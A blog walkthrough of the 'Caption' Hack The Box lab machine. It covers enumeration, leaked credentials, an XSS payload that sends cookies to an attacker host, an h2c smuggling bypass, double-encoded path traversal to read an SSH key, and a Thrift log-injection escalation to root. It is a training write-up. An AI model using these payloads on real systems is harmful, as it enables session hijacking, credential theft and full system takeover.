0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

8 February 2025

Caption

by 0xW1LD

Caption

Enumeration

nmap find the following ports open:

1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-21 00:47 EST
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

Foothold

Caption Portal Login

On the webpage running on port 80 we find a custom login page: Pasted image 20250121165617.png

GitBucket

On the webpage running on port 8080 we find a gitbucket site: Pasted image 20250121165713.png looking at the GitHub page of GitBucket we find the default credentials: root root which don’t seem to log us in. We see two repositories, the caption-portal one looks interesting as it’s probably the webserver running on port 80

Caption Portal

Looking at the files initially found nothing interesting, checked the commit history and found: Update Access Control which nets us the following credentials: margo vFr&cS2#0! which we can use to login into the portal!: Pasted image 20250121170555.png Looking around we find nothing that stands out, trying to reuse the credentials to login to GitBucket also doesn’t work. Intercepting the request to /firewalls and attempting Host Header attacks reveals that X-Forwarded-Host header is vulnerable to XSS:

1
2
3
4
5
6
7
8
9
10
11
12
GET /firewalls HTTP/1.1
Host: caption.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://caption.htb/firewalls
Cookie: JSESSIONID=node01mho8ai0w4nxj1phn6mlxveywp79.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3NDYwNjYyfQ.BqBry30CBvRD33DrRY8SaWq-Q5_ZP3S23e_qtZGXinw
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Forwarded-Host: 127.0.0.1"><script>alert('xss test');</script>

Pasted image 20250121220957.png Burp repeater seems inconsistent, however figured out later that this was due to a caching issue, using MatchAndReplace to automatically add header works creating the following payload for stored XSS to steal cookies:

1
X-Forwarded-Host: 127.0.0.1"><script>fetch('http://10.10.14.23/test.php?c='+document.cookie)</script>

We get the following callback on our listening server:

1
10.10.11.33 - - [21/Jan/2025 18:01:43] "GET /test.php?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NTA0MDg0fQ.3KYn1rCsnRfsO9t8dQAI2FpEyqcbdlJLcNeGiCXoJ64 HTTP/1.1" 404 -

Running feroxbuster we find the following directories that are both 403 Forbidden:

1
2
403      GET        4l        8w       94c http://caption.htb/logs
403      GET        4l        8w       94c http://caption.htb/download

Using the stolen cookies I am still getting 403 Forbidden on those pages:
Pasted image 20250122122659.png
Knowing that haproxy is running on the background I attempt to bypass it using H2Csmuggler

1
$ python3 h2csmuggler.py -x "http://caption.htb" -H "Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3NTE0MTg2fQ.LQFk69bSW_dgmNpF6kCo9O0VDV0yQwEPlBHYY3xRBgs; JSESSIONID=node0q95nb4nf8uib156s6htpkkank0.node0" "http://127.0.0.1:6081/download?url=http://127.0.0.1:3923/"

checking the home page of the download url copy party server found this:

1
2
3
4
<script src="/.cpr/util.js?_=kEZE"></script>
<script src="/.cpr/baguettebox.js?_=kEZE"></script>
<script src="/.cpr/browser.js?_=kEZE"></script>
<script src="/.cpr/up2k.js?_=kEZE"></script>

Utilizing the .cpr directory attempted to read /home/margo/.ssh/id_ecdsa only to find that it’s not found, checking the output we find that our input is injected into a form action:

1
<form method="post" enctype="multipart/form-data" action="/.cpr//home/margo/.ssh/id_ecdsa">

Double encoding and attemting to grab ssh keys: %252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa:

1
2
3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
<SNIP>

Got margo

Margo (user)

Looking back at gitbucket we see that the logservice is running on port 9090

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }
 
    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}

which is consistent with the open ports:

1
2
$ ss -tulnp
tcp     LISTEN   0        4096           127.0.0.1:9090          0.0.0.0:*

Looking at the service it uses the following library for log transport: Apache/Thrift github Here is the library’s documentation: Thrift Looking around for vulnerabilities in thrift I found out this: Apache Thrift Go Library Command Injection So I take a look at the thrift file in the github repository:

1
2
3
4
5
namespace go log_service

service LogService {
    string ReadLogFile(1: string filePath)
}

Copy it to my box and use it to generate the files needed for a client:

1
$ thrift -r --gen py log_service.thrift

Using ChatGPT to generate the following client poc in python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import time
from thrift import Thrift
from thrift.protocol import TBinaryProtocol
from thrift.transport import TSocket, TTransport
from log_Service import LogService

def main():
    # Connect to the Thrift server running on localhost:9090
    transport = TSocket.TSocket('127.0.0.1', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client for the LogService
    client = LogService.Client(protocol)

    try:
        # Open the transport connection
        transport.open()

        # Specify the log file path you want to read from the server
        file_path = "/home/margo/w1ld/log.log"

        # Call the ReadLogFile method on the server
        print(f"Calling ReadLogFile with file: {file_path}")
        response = client.ReadLogFile(file_path)

        # Print the response received from the server
        print("Server Response:", response)

        # Optionally, you can check the output file created by the server
        output_file = "output.log"
        try:
            with open(output_file, 'r') as file:
                print("\nContents of output.log:")
                print(file.read())
        except FileNotFoundError:
            print(f"Output file '{output_file}' does not exist.")

    except Thrift.TException as tx:
        print(f"Error: {tx.message}")

    finally:
        # Close the transport connection
        transport.close()

if __name__ == "__main__":
    main()

which reads the logfile /home/margo/w1ld/log.log which we must create:

1
127.0.0.1 "user-agent":"'; /bin/bash /home/margo/w1ld/w1ld.sh#"

which calls w1ld.sh

1
cat /root/root.txt >> /home/margo/w1ld/root.txt

before running the script we must forward port 9090 to our home machine:

1
$ ssh margo@caption.htb -i id_ecdsa -L 9090:127.0.0.1:9090

Run the script and read the root file:

1
2
3
4
5
kali@kali:~/htb/caption/gen-py
$ python3 poc.py
[margo:~/w1ld]
$ ls
log.log  root.txt  w1ld.sh
tags: os/linux - diff/hard